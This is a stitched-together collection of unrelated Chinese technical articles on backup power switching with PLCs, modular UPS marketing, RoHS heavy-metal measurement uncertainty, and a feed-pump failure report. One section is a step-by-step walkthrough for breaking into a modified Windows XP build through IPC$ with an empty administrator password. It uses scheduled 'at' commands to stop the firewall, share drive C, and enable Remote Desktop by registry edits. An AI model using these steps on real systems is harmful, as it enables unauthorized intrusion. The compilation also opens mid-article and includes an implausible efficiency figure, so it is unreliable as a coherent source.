傳統的備用電源自動投入裝置系統是由繼電器和接觸器組成。因其組成結構簡單、投入成本低，在一些中小型企業和工廠的供配電系統中很受歡迎。但是也存在著很多缺點：第一、由于傳統的備用電源自動投入系統都是由繼電器和接觸器組成，若要組成一套完整的控制系統，在繼電器和接觸器的使用數量上很大，而過多的繼電器和接觸器使得系統的體積變得龐大。第二、繼電器和接觸器都是電磁式機械動作，因而系統的動作響應能力差，繼電器和接觸器的觸點要頻繁地接通和斷開動作，使得觸點容易出現故障，導致系統的可靠性較低，并且要進行大量的維護和故障的檢修工作，過多的繼電器和接觸器對故障的檢修造成了巨大困難。第三、由于系統采用的是純硬件結構，不具備可編程能力，造成系統的開發周期長。系統不具有通信和監控功能，不能使整個供配電系統有機地組合為一體，不能適用于對自動化水平要求較高的場合。
1.2新型PLC控制下備用電源自動投入分析
新型PLC控制的備用電源自動投入控制器完全克服了上述缺點。PLC是可編程序控制器，由CPU、存儲器、輸入輸出電路和功能模塊（如計數器、定時器、通信模塊）組成。通過采集現場的數字和模擬量的信息，經CPU處理和計算后，將信息傳送至現場以控制設備的工作。其具有快速的運算能力，可實現設備和上位機通信，可利用圖形化（如順序功能圖、梯形圖、功能模塊圖）和文本化編程，并且具有軟件和硬件的診斷功能。
將其利用到備用電源的自動投入裝置上帶來的優點有：第一、可以省去很多的繼電器和接觸器以及線路的連接。由于PLC內部具有很多繼電器，完全可以替代實際的繼電器裝置。第二、采用編程的方法使系統的開發更加快速和簡便，處理速度快（平均執行一條指令的時間為微秒級甚至是納秒級），內部的定時器要比傳統的機械定時器精確度高很多。第三、可以通過預先規定好的協議將信息傳送給其他PLC或者PC機，以實現對系統的監控和系統故障的自診斷，并且還可以連接診斷和在線調試，進而確保了系統的穩定性和可靠性。第四、由于其是利用程序來進行控制的，在對系統進行維護和修改時變得更加快捷和方便，不必像傳統的那樣要更換硬件和更改線路連接，只需要修改程序即可，大大縮短了維護周期。
1.3備用自動投入裝置的控制需滿足的控制要求
（1）當主電源由于故障而斷電時，備用電源必須投入運行，但是若備用電源沒有足夠高的電壓時，備用電源不能動作，而是進行相應故障的報警；（2）對于非故障的電源斷電，如人工操作的切除電源，備用電源不能投入運行；（3）備用電源只有在主電源正常工作時才進行充電操作，而當其投入運行時不再進行充電；（4）當主電源斷電故障消除后，主電源投入到工作狀態，備用電源切除與負載的連接；（5）當系統設備發生故障時，應使供電電路立即跳閘并發出警報以保證設備的安全；（6）設備在切換動作時要具有一定的時限，以確保與其他保護裝置的配合。
二、PLC在電網備用自動投入的應用舉例
圖1為某工廠的電氣主接線圖，從圖中可以看出該系統采用的是內橋接線型。
其中通過電壓互感器1TV和2TV分別檢測主電源和備用電源的電壓來確定電源的切換投入動作，3TV用來測量系統運行時的電壓和功率。
2.1PLC程序控制的要求
正常工作時，電源1工作，電源2處于備用狀態；當檢測到1TV電壓低于設定值時，利用程序控制1QF斷開，接通2QF。同時監控各個電壓互感器、電流互感器、過流保護裝置的狀態，并根據具體情況發出相應的警報。同理，當電源2處于工作狀態時，在其出現故障時，2QF斷開，1QF接通，將電源1切換到投入狀態。需要注意的是，各個斷路器和接觸器動作的先后順序和時間，如果出現錯誤可能導致系統發生短路，造成設備的燒毀或觸電事故。
2.2根據需求選擇PLC
目前我國主要流行的PLC產品生產廠家主要有德國西門子（Siemens）、日本三菱（MITSUBISHI）和歐姆龍（OMRON）、法國的施耐德（AEG Schneider）、美國的A-B（Allen-Bradley）、臺達等。在選擇PLC的類型時，要根據性價比最優的原則進行選擇。這里在選擇時根據工廠的規模和成本，依據性價比選擇三菱系列PLC。
在確定PLC的型號之后，還要根據以下幾點選出具體的型號：（1）數字量和模擬量的輸入和輸出點數。經過該系統的統計后，計算出數字量輸入點數為27，數字量輸出點數為19，模擬量輸入點數為5。此外在實際應用時要考慮一定的裕量，按照經驗一般取10%的裕量進行選擇。程序輸入的PLC數字量輸入點數為30，數字量輸出點數為22，模擬量輸入點數為6。（2）PLC負載能力分析。當PLC在插入其他輸入輸出模塊時，必須要考慮PLC的負載能力。PLC內部有5VDC電源供電，不同型號的CPU所能提供的最大擴展電流不同。經統計該系統所有繼電器和斷路器的工作電流總和約1000mA。另外，如果不考慮PLC負載能力，可采用外加電源的方式。（3）PLC所具有的功能模塊。根據系統的設計條件，PLC應具有計數器、定時器等。然而一般的PLC都具有此功能模塊，此情況可以不用考慮。
依據以上幾點考慮情況，最終確定的PLC型號為三菱FX2N系列的FX2N-64RM+FX2N-8AD，共計輸入點數為32，數字量輸出點數為32，模擬量輸入點數為8。
2.3電路的硬件設計
由于該工廠對于抗干擾的要求較高，在這里采用220VDC對PLC進行供電可以避免交流諧波信號對系統造成的干擾，以保證PLC的正常工作；對于傳輸線路采用屏蔽雙絞線。模擬信號和數字信號之間采用光藕隔離技術；并且要具有必要的過壓、失壓保護，過電流和短路保護；避免接地故障可以采用TT型保護。
2.4PLC程序的設計
根據系統的設計要求，所編寫程序應具有的功能：將電壓互感器和電流互感器上的電壓和電流信號轉換為數字信號，并與預訂值進行比較，確定系統當前的運行狀態（如正常運行、失壓、過流、短路）；根據采樣取得的數據信息進行處理，控制相應的斷路器、接觸器、繼電器、各種開關以及各種信號指示燈；將系統的各種狀態信息傳輸給監控室的上位機，使相關技術人員準確掌握系統的運行狀態，以確保系統的安全與可靠；能夠完成對一些故障的自動處理能力。
在編寫程序之前，要根據系統的各個輸入輸出對PLC進行地址分配，然后編寫初始化代碼以完成對系統數據的初始化，最后編寫主程序和中斷服務程序以完成對系統的控制。由于篇幅有限，現附上部分主要的自動投入過程的程序梯形圖（圖2）作為參考。
2.5聯機調試、運行
pc電源范文3
綠色環保節能設計
憑借數十年積累的豐富經驗，結合先進的設計理念，意大利先控不斷創新產品，滿足市場和用戶不斷變化的需求。為了拓展中國以及亞洲的新興市場，意大利先控把綠色電源模塊化UPS產品的生產基地定在了中國，旨在更好地貼近和服務亞洲市場。
據統計，由電源污染導致的用電設備故障占整體故障的60%以上，而電力污染源中真正由公網供電帶來的污染不到5%，其主要污染是來源于內部電力使用者，所以倡導全社會創建綠色電力能源，是每一個企業及用電者應承擔的社會責任和義務。
意大利先控緊隨國際產業發展潮流，率先倡導和鼓勵產品綠色節能環保。從產品研發到產品的整個生命周期，全面考慮用戶的利益和對環境的影響。先控最新推出的新一代模塊化系統，率先采用了“模塊休眠技術”及“內置分配電系統”，大大提升了節能環保的效果，具備同行業領先水平。整個系統體積小、噪音低、配置靈活、維修方便，特別是與傳統UPS相比輸入電流諧波低、輸入功率因數大，整機效率大大提高，是一款真正意義上的節能環保新產品，也成為符合國際潮流和滿足綠色環保理念的市場主流產品。
產品特點
先控模塊化UPS系統，由顯示通訊模塊、靜態開關以及最多可由36個UPS功率模塊構成。各模塊之間均是智能獨立運行，除了包含傳統UPS的整流、濾波、充電、逆變器裝置外，還采用了平均電流控制整流技術、同步控制技術和三階正弦波逆變的新型技術。即使顯示通訊模塊、靜態開關故障，UPS模塊也可以維持正常輸出，而不會出現停機的狀況。各UPS模塊可隨意熱插拔在線更換，按照客戶需求來增加模塊數量，構成N+X的冗余配置。UPS機柜中的所有功率模塊平均負擔系統負載，各并聯模塊皆為內置冗余的智能型獨立個體，無需監控單元對并聯系統集中控制。任何模塊發生故障后（包括監控單元），它的冗余設計便會充分發揮效用，全面保障設備正常運轉，最大限度地實現故障冗余，同時用戶可根據需要選擇超過一次容錯率的冗余。系統借助功能強大的監控單元，全面獨到的雙向互動式監控技術，可自動對電池組進行均浮充轉換和限流充電，并設置均浮充電壓和充電限流值，同時具備溫度補償和自放電檢測功能，可協助客戶全面掌控系統運行狀況，靈活方便快捷地對系統危機做出即時處理。配合每個功率模塊內部專門設置的充電整流器，可靠性高，無高頻雜波，避免高頻波對電池壽命的影響，避免電池在充電時過熱，延長了電池的使用壽命。智能化的冗余設計，不僅減少了系統本身和負載的風險系數，而且使外部負載受UPS保護時間全面延長。
在傳統UPS產品中，一直存在著單臺UPS容易出現單點故障的問題，為保障供電穩定，用戶唯一的安全保障措施是采用“1 + 1”或“N + 1”的安全防范格局，該措施不僅造成較大的經濟浪費，而且容錯率低。理論上每臺單機UPS最大帶載量小于50%，實際使用中，通常每臺單機帶載僅為20%～30%，導致實際使用效率很低，造成不必要的能源浪費。先控休眠技術借鑒了汽車發動機的“可變汽缸管理技術”，是根據UPS電源實際帶載量，使每一模塊能自動配載，其余模塊進入在線待機“休眠”狀態。只有當過載或帶載模塊故障時，系統自動“喚醒”相應“休眠”模塊，確保實際整機工作效率始終保持≥95%，最終實現負載容量與整機實際效率的完美結合。
先控內置分配電系統，減少了傳統上外接輸出分配電裝置。在UPS 輸出的一級中，每增加一個分電屏其內耗將會增加500mV，同時多了一級故障點。傳統塔式UPS采用的是集中多級分電方式，將會產生1%～2%的能耗。而模塊化UPS采用的是相對集中供電，在確保供電可靠性的前提下，可有效避免線間的損耗，從而進一步提高節能效果。所以它是一個真正意義上的綠色模塊電源，既有效提升了系統的穩定性和可靠性，又方便用戶的系統升級，同時降低了擴容成本。
專家評選
電信業一直以來都是UPS市場上最大的應用行業之一，伴隨著通信網絡規模和用戶規模的不斷擴大，通信行業的電費是除網絡建設、運營維護、市場開發以外的第四大成本支出。通信運營企業響應國家節能減排的號召，充分意識到節能不僅對環境保護、創建可持續發展社會有著積極意義，同時也是運營商削減運營成本的重要途徑。因此各大通信運營商現在普遍關注的是UPS的效率、諧波含量及電池充放電等技術指標的實現。廣西電信互聯網數據中心擁有廣西最大的IDC機房，直接并入國家骨干通訊網絡。因此，網絡的安全和穩定運行至關重要。為此，廣西電信公司專門成立了IDC擴容改造項目的招標小組，對各個電源廠家提出的解決方案認真研究和反復評議，經過多輪綜合評選后，先控模塊化UPS競標成功。
吸引各評委的還是先控產品在節能方面的突出表現。先控CMS150系列模塊化UPS在信息產業部泰爾檢測中心測試的結果是THDI指標為 2.6，而UPS效率更是達到≥0.999。它的系統結構極具彈性，功率模塊的設計概念是在系統運行時可隨意移除和安裝而不影響系統的運行及輸出，使投資規劃實現“隨需擴展”，讓用戶隨業務發展實現“動態成長”，既滿足了后期設備的隨需擴展，又降低了初期購置成本。
IDC用戶在預計UPS容量時，時常會出現低估或高預計情況，尤其是在寸土寸金的IDC機房，模塊化UPS可有效解決盡量減少設備占地面積、噪音輻射等問題，幫助用戶在未來發展方向尚不明確的情況下分階段進行建設和投資。當用戶負載需要增加時，只需根據規劃階段性的增加功率模塊即可。更值得電信行業注意的是UPS還可配接通信和電力行業現有的48V/110V/220V的電池組，大量節省用戶對電池組的投資和維護。
pc電源范文4
Windows系列的操作系統都提供共享服務，這些共享服務的主要通道就是IPC。IPC是Internet ProcessConnection的簡稱，也稱共享命名管道，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的權限，在遠程管理計算機和查看計算機的共享資源時使用。這種入侵方式在Windows 2000普及的年代非常流行。
默認情況下Windows系列的操作系統都支持空連接，空連接是在沒有信任的情況下與服務器建立的會話，換句話說，它是一個到服務器的匿名訪問。利用ipc$，連接者可以與目標主機建立一個空的連接而無需用戶名與密碼(當然，對方機器必須開了ipc$共享，否則你是連接不上的)，而XP系統限制了空連接導出用戶列表的功能，提高了安全性。
默認共享是系統安裝完畢后就自動開啟的共享，也叫管理共享，常被管理員用于遠程管理計算機。在Windows2000/XP及其以上版本中。默認開啟的共享有“c$”、“d$”、“admin$”、“ipc$”等，我們可以在“運行”對話框中輸入“\\計算機名\盤符$”對這些資源進行訪問，以上這些共享就叫做默認共享。默認共享是只面向管理員組用戶開啟的共享，也就是說只有管理員組的用戶才能訪問這些共享，非管理員組用戶(即使是超級用戶)不能進行訪問。如果我們在對話框中輸入的不是管理員組用戶而是其他用戶組的賬戶和密碼(如guest組、backup operators組、power users組等)，系統是不會讓我們訪問該共享資源的。另外密碼不能為空，否則也連不上XP的默認共享。
通常是無法利用IPC入侵原版XP的，最主要的原因是XP與2000在來訪者的權限設置上是不同的，在XP中即使有管理員權限的用戶和密碼也不一定能建立聯接或復制文件。
身份驗證：XP默認是把從網絡登錄的所有用戶都按來賓賬戶處理的，因此即使管理員從網絡登錄也只具有來賓的權限，在XP的(secpol.msc)本地安全設置/本地策略/安全選項中：
網絡訪問：本地帳戶的共享和安全模式，有兩個選項：
經典_本地用戶以自己的身份驗證
僅來賓_本地用戶以來賓身份驗證
當番茄花園系統安裝完成后，所有的盤符默認共享自動關閉，遠程桌面關閉，Remote Registry服務關閉，系統只開了IPC$通信命名管道，administrator密碼為空，如果安全選項和空口令設置和原版相同，則系統也將是安全的，然而問題出來了，點開始/運行輸入secpol.msc，展開本地安全設置/本地策略/安全選項中的“網絡訪問：本地帳戶的共享和安全模式”，可以發現被改為“經典”。
空口令限制：在XP的注冊表中有一項limitblank.passworduse，它是用來限制空口令連接的
[HKEY_LOcAL_MAcHINE\SYSTEM\ControlSet001\Control\LsaJ]
“limitblankpassworduse”＝dword:00000001
很明顯看出來，通過導人注冊表來修改安全設置。
O:代表空密碼有效。1:代表空密碼無效。
系統默認是1，可以有效防止黑客人侵。
而在番茄花園系統中，點開始/運行輸入Regedit，展開[HKEY_LoCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]發現limitblankpassworduse被改為O。這就意味著，黑客利用了XP管理員的弱口令。
入侵番茄花園版XP，需要針對XP系統的特點，開啟和關閉一些服務(假設目標IP是192.168.1.5)。
1)net use\\192.168.1.5\IPC$" "/user:"admintitrators"。
看到“命令成功完成”提示，連接成功1
2)net time\\192.168.1.5
查查時間，發現192.168.1.5的當前時間是2007/5/6下午5:12，出現“命令成功完成”提示。
3)at\\192.168.1.5 17:14 net stop“Window$Firewall/Internet connection Sharing(ICS)”
用at命令啟動net stop關閉對方計算機中的Windows Firewall/Intemet Connection sharing(ICS)服務以利于關閉Windows防火墻。
4)執行at\\192.168.1.5檢查任務是否安排。
5)再次執行net time\\192.168.1.5獲得遠程機器時間。
發現192.168.1.5的當前時間是2007/5/6下午5:29，出現“命令成功完成”提示。
6)執行at 17:30\\192.168.1.5 net share diskc＝c:
開啟192.168.1.5的C盤共享。
7)打開我的電腦，輸入\\192.168.1.5\diskc，新建一個文本文件，輸入以下內容
echo Windows Registry Editor Version 5.00>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\Terminal server]>>3389.reg
echo"fDenyTSConnections"＝dword:00000000>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcP]>>3389.reg
echo"PortNumber"＝dword:00000d3d>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcpl>>3389.reg
echo"PortNumber"＝dword:00000d3d>>3389.reg
regedit/s 3389.reg
del 3389.reg
將文件保存為3389.bat。
8)再次執行net time\\192.168.1.5獲得遠程機器時間，發現192.168.1.5的當前時間是2007/5/6下午6:29，出現“命令成功完成”提示。
9)執行at 18:30\\192.168.1.5c:\3389.bat。
10)點“開始/所有程序/附件/通訊”，運行“遠程桌面連接”，輸入192.168.1.5即可遠程操作計算機了。
知道漏洞產生的原因后，修補起來也是相當的簡單，關鍵是修改注冊表中的limitblankpassworduse和forceguest的鍵值，將下面的內容保存為fix.reg，雙擊fix.reg，提示是否導入注冊表，點確認后即可修補漏洞。
pc電源范文5
關鍵詞:火焰原子吸收光譜法；電子電氣產品；測定
Abstract: This paper, by flame atomic absorption spectrometry electric products lead (Pb), of cadmium (Cd), Cr (Cr) content introduces the atomic absorption spectrometry the whole process of the results and uncertainty, the weight of the standard uncertainty, uncertainty calculations.
Keywords: flame atomic absorption spectrometry; electrical and electronic products; determination
中圖分類號：F416文獻標識碼： A 文章編號：
1實驗方法
SN/T2004.2-2005電子電氣產品中Pb、Cd和Cr的測定第2部分:火焰原子吸收光譜法。
1.1建立數學模型
RoHS中Pb、Cd和Cr含量的計算公式為X=(C測量值-C空白值)×V/M。
式中:X一試樣中Pb、Cd和Cr的含量(mg/kg)；
C測量值一測定液中Pb、Cd和Cr的濃度(mg/L)；
C空白值一試劑空白中Pb、Cd和Cr的濃度(mg/L)；
V一試樣消化后定容體積(mL)；
M一測定用試樣量(g)。
1.2不確定度分析要素
對RoHS中的Pb、Cd和Cr含量測試過程的分析表明,影響其結果的因素見圖1。
圖1 RoHS中Pb、Cd和Cr含量分析的不確定度影響因子
2結果
2.1 C測量值和C空白值的不確定度分析
由兩部分構成,其一是由5種標準溶液的濃度-吸收率擬合的直線求得C測量值所產生的不確定度；其二是由標準儲備液配制成5種標準溶液時所產生的對C測量值帶來的不確定度。
2.1.1標準曲線不確定度分析
(1)Cd的5種濃度的標準溶液的吸收值,每個濃度測定3次,結果見表1。
表1 不同濃度Cd的吸收率測量值
由表1中的數據進行線性擬合得出直線方程:A=B1×C+B0
其中:A為溶液的吸收率；B1=0.41215,B0=0.00004；C為溶液濃度。
對C測量值進行2次吸收值測量,由吸收值通過直線方程求得C測量值的值為1.021mg/L,則C測量值的標準不確定度為:
(1)
將上述各值代入(1)式,得出
u(C測量值)=0.062mg/L；u(C測量值)/C測量值=0.0621.021=0.064。
(2)Pb的5種濃度的標準溶液的吸收值,每個濃度測定3次,結果見表2。
表2 不同濃度Pb的吸收率測量值
由表2中的數據進行線性擬合得出直線方程:A=B1×C+B0
其中:A為溶液的吸收率；B1=0.02259,B0=0.00001；C為溶液濃度。
對C測量值進行2次吸收值測量,由吸收值通過直線方程求得C測量值的值為4.71mg/L。
同Cd的標準曲線不確定度分析方法一樣,得到如下結果:
u(C測量值)=0.084mg/L；u(C測量值)/C測量值=0.0844.71=0.018。
(3)Cr的5種濃度的標準溶液的吸收值,每個濃度測定3次,結果見表3。
表3 不同濃度Cr的吸收率測量值
由表3中的數據進行線性擬合得出直線方程:A=B1×C+B0
其中:A為溶液的吸收率；B1=0.08828,B0=0.00003；C為溶液濃度。
對C測量值進行2次吸收值測量,由吸收值通過直線方程求得C測量值的值為3.042mg/L。
同Cd的標準曲線不確定度分析方法一樣,得到如下結果:
U(C測量值)=0.014mg/L；u(C測量值)/C測量值=0.0143.042=0.017。
2.1.2標準溶液配置不確定度
1）由Cd標準貯備液配制標準溶液所產生的不確定度
(1)0.5mg/L標準溶液不確定度的大小
將貯備液(1000±2mg/L)按1:10、1:20、1:10分3次稀釋得到0.5mg/L標準溶液,故:C0.5=Cstock/(f10×f20×f10)
其中:C0.5一0.5mg/L的溶液濃度；Cstock一貯備液濃度；
f為稀釋因子,f=Vf/Vi,Vf為稀釋前體積,Vi為稀釋后體積。由于1:10稀釋是采用10mL移液管和100mL容量瓶完成；1:20稀釋是采用5mL移液管和100mL容量瓶完成。因此,f10=V100/V10=10；f20=V100/V5=20。
對5mL,10mL移液管和100mL容量瓶進行不確定度分析。由標定﹑刻度充滿及校準和使用溫度3個不確定度來源合成給出V5﹑V10﹑V100的不確定度見表4,并根據表4可求出稀釋因子的不確定度。
表4 移液管和容量瓶的不確定度
將貯備液濃度的不確定度(2mg/L)轉化成標準不確定度,按均勻分布有2/ =1.2mg/L。上述計算結果見表5,并根據表5可求出0.5mg/L標準溶液的不確定度。
表5 貯備液及稀釋因子不確定度
同理,1、1.5、2.0、3.0mg/L標準溶液不確定度的大小分別為0.0032、0.00435、0.0017、0.0008mg/L。
綜上所述,標準配置溶液的不確定度為:
= 0. 0099mg /L。
2）由Pb和Cr標準貯備液配制標準溶液所產生的不確定度
同理,按上述方法,得出有Pb和Cr標準貯備液配制標準溶液的不確定度為0.0318mg/L。
3.1.3 C測量值和C空白值的不確定度
綜合考慮標準曲線不確定度和標準配置溶液的不確定度,則
對于Cd,C測量值的不確定度為:u(C)= =0.063mg/L；
對于Pb,C測量值的不確定度為:u(C)==0.089mg/L；
對于Cr,C測量值的不確定度為:u(C)=0.034mg/L。
同理,對于Cd、Pb和Cr,C空白值的不確定度分別為0.000021,0.000009和0.000007mg/L。
2.2 V的不確定度分析
樣品定容的不確定度估計為0.005V,轉化為標準偏差,按三角分布為u1=0.005V/61/2；以V=100mL,則u1=0.203。
實驗室的溫度在±t℃之間變化,所引起的不確定度通過估算溫度范圍與體積膨脹系數進行計算。液體的膨脹系數明顯大于移液管的體積膨脹系數,所以考慮液體的膨脹即可。水的體積膨脹系數為r=2.1×10-4/℃,其u2=u3(V)=( ±t×r×V)/31/2；以V=100mL, t =2℃,則u2=0.023。
讀數引起的不確定度,一般估計為0.01V,按三角分布轉化為標準偏差為u3=0.01V/61/2；以V=100mL,則u3=0.406。
器皿校準的不確定度為±VmL,按三角分布轉化為標準偏差為u4=vV/61/2mL。以V=100mL,vV=0.1mL,則u4=0.0406。
因此,V的不確定度為u(V)=[u12+u22+u32+u42]1/2=0.455。
2.3 M的不確定度分析
采用減量法稱量樣品的質量,其不確定度主要來源于天平校準和稱量中的變動性。天平校準所引入的不確定度包括天平的線性和分辨力兩個主要方面,由于2次稱量的質量值在很窄的范圍內,所以分辨力的影響可以忽略；根據天平制造商的建議,天平的線性為±0.15mg,采用矩形分布處理,標準不確定都為:u1(m)=0.15/ =0.087(mg)。
由于減量法涉及2次獨立的稱量,因此由天平校準產生的標準不確定度為:uj(m)=2u1(m)=0.12(mg)。在上述天平上,對2g左右的同一物體稱量20次,得到的標準偏差為0.07mg,它代表了稱量中的變動性所導致的標準不確定度。由此得到樣品質量m的標準不確定度為:u(m)=0.14mg。
2.4電子電氣產品中Pb、Cd、Cr的含量測試結果報告
2.4.1測試及計算結果
通過對影響電子電氣產品中Pb、Cd、Cr測量結果的不確定度分量的分析和量化,求出被測量對象(Pb、Cd、Cr含量)的標準不確定度和擴展不確定度,然后給出各分量對總測量不確定度的相對貢獻。
2.4.2結果表述
被測量的合成標準不確定度的公式為:
對于Pb、Cd、和Cr,其結果分別為4.57,1.26和1.84mg/kg。取包含因子k=2,計算擴展不確定度,對于Pb、Cd和Cr,其結果分別為9.14,2.52和3.68mg/kg。則電子電氣產品中Pb、Cd和Cr的含量分別為235.5±9.1,20.42±2.52和152.1±3.7mg/kg,k=2。
參考文獻
[1] 孫屏 龐芳芹.原子吸收分光光度法測定番茄醬中銅含量不確定度的評定[J].現代測量與實驗室管理,2005.05
pc電源范文6
關鍵詞：給水泵；抱?。恍迯?；防范措施
DOI：10.16640/ki.37-1222/t.2017.04.108
0 前言
華電集團山東萊城電廠（機組容量：4×300MW）#3機電動給水泵為備用給水泵，型號為CHTC4/6sp，為原沈陽水泵廠引進德國KSB技術制造的多級高壓給水泵，投產日期2002年，2015年12月21日定期升速試驗時，轉子抱住不動。
1 事件經過
2015年12月21日10：43，運行人員做#3機電泵升速試驗，就地檢查無異常，電泵上下殼溫差最大為15℃，充分放氣后啟電泵，10：46 檢查電前泵轉而電泵不轉，立即停運。解開對輪后，手動盤車不動。就地檢查電泵地腳螺栓及頂絲等無異常，對液力偶合器進行勺管開度調速試驗正常，檢查電前泵及電泵入口濾網無堵塞、無破損等。解體時發現芯包末級葉輪拆卸難度較大，芯包部分返沈陽某水泵廠進行解體。
（1）以往檢修情況：2012年9月曾進行了#3機電泵唯一的一次設備解體大修，由于7級葉輪均為熱裝在泵軸上，各級中段間為止口配合，現場也無芯包專用檢修平臺及專用檢修工具，現場解體及復裝時，施工難度就相當大，轉子復裝后也沒有進行高速動平衡試驗，無法保證復裝后的轉子能達到動平衡試驗標準。大修后，曾因驅動端軸承振動大，2013年5月30日及2014年2月11日，兩次進行對輪中心復查、調整。
（2）以往運行情況：2012年9月大修后至今日，除了每月定期3100rpm升速試驗運行外，還有14次運行時間段（共計99小時4分鐘），其中2015年11月27日22：07―11月28日17：50，B汽泵非驅動端機械密封更換時，電泵運行（19小時43分鐘）。期間運行轉速為3800―4740rpm，泵體振動較大，放空氣后逐漸消失。
（3）其他情況：對2015年#3、4機電泵（同型號給水泵）最近5次定期升速試驗時惰走時間統計，#3電泵惰走時間（平均123秒）明顯小于#4電泵（平均249秒），說明#3電泵在惰走期間，動靜之間有輕微摩擦的可能。
2 解體檢查情況
（1）推力瓦正推瓦塊有磨損。（2）泵軸彎曲，中部的4、5級葉輪處最大跳動值0.16mm，遠大于標準值0.03mm，第1-7級及平衡盤處跳動值在0.12―0.16mm。（3）葉輪口環、輪轂及外徑均有不同程度的磨損，其中第4、5、6級磨損嚴重，口環、輪轂及外徑磨損可測量磨損量約1-1.5mm。（4）第一級導葉葉片全部磨損，與中段接觸部分磨損量約0.5-1mm。（5）導葉襯套及密封環內徑全部輕微磨損。（6）吸入段與第二級中段配合的密封面沖刷嚴重，已失效；第二級中段有4道貫通性舊裂紋，長度約為40―100mm，與第一級導葉相接觸的密封面被導葉片碰磨，碰摩深度約0.5-1mm；第三級中段與第二級中段接觸的密封面損壞；第五級中段與第六級中段接觸的密封面損壞；第六級中段定心止口損壞2處。
3 原因分析
電泵在2012年9月大修后，由于現場檢修條件較差，修后轉子動平衡達不到質量標準；泵軸為撓性轉子，經過一段時間運行，導致泵軸由彈性變形逐漸演變成塑性變形，轉子彎曲越來越大；轉子彎曲時，由于轉子動靜徑向間隙很小，最大為0.50-0.60mm，運行時導致動靜部分摩擦，葉輪口環、輪轂及外徑磨損，軸承室及泵體均振動大；轉速越高，離心力作用越大，轉子中間位置偏心越大，動靜部分摩擦越嚴重，導致第4、5、6級葉輪部分摩擦較為嚴重，平衡盤徑向也出現磨損。中段部分在動靜部分的摩擦所產生的強烈振動下，必然導致了摩擦、損壞。
2015年11月27-28日電泵運行時，泵體振動較大，除了動靜部分摩擦所致外，泵體內積存空氣也是原因之一；當泵體內無暖泵水或流量不足時，易導致泵體內積存空氣。
2015年12月21日電泵升速試驗時，由于泵軸已經彎曲較大且動靜部分包括平衡盤已經磨損，在啟動期間，轉子前后軸向力無法形成平衡，朝向吸入端方向的軸向力瞬間增加，致推力瓦塊磨損；轉子彎曲過大導致動靜部分抱死。
4 返廠處理措施
（1）泵軸 泵軸彎曲0.16mm，進行熱處理直軸修復。（2）葉輪 清理全部葉輪流道、內孔、拋光；利用專用工裝將輪轂和口環磨削到設計的修復尺寸，以保證配合間隙和對中心線的跳動。（3）導葉 分別按照導葉的內孔尺寸配制導義襯套，鑲裝并固定處理后，再車制內孔達到設計的修復尺寸，以保證配合間隙；第一級導葉葉片全部損壞，不能修復，更換新導葉。（4） 吸入段 吸入段與第二級中段的配合密封面“B”全部被破壞，將“B”面車削成平面，將要更換的第二級中段的相應部位加長以保證軸向安裝尺寸不變；軸向定位的“A”平面，做修刮毛刺處理，以保證前后泵蓋處的纏繞墊的壓緊力不變。（5）中段 重新配制全部中段密封環；更換第二級中段，與吸入段的結合部按照吸入段修后的尺寸配制；第三極中段密封面進行焊補處理，然后再進行熱處理，最后加工到符合圖紙要求，第五、六級中段更換新件。
5 防范措施
（1）芯包解體大修時應外委由專業水泵廠家完成，以提高檢修質量標準，修后必須做動平衡試驗并合格。
（2）電泵備用期間，運行人員要定期監測泵體上下溫差，當超過20℃時，要及時通知檢修人員進行處理，設備啟動前，應對泵體及入口管道充分放空氣。
（3）定期對電泵暖泵截止門及逆止門進行解體檢查，避免因閥芯脫落等原因導致暖泵水流量不足，備用期間應保證暖泵系統閥門處于全開狀態。
（4）檢修人員應定期對電泵保溫材料進行檢查，無缺失、厚薄不均勻等影響泵體保溫效果的現象。
6 結束語
按照處理方案及防范措施執行后，運行一年多來，設備一直保持良好的運行狀態，為機組的安全生產打下了良好的基礎。
參考文獻：
[1]郭立君.泵與風機[M].重慶大學.
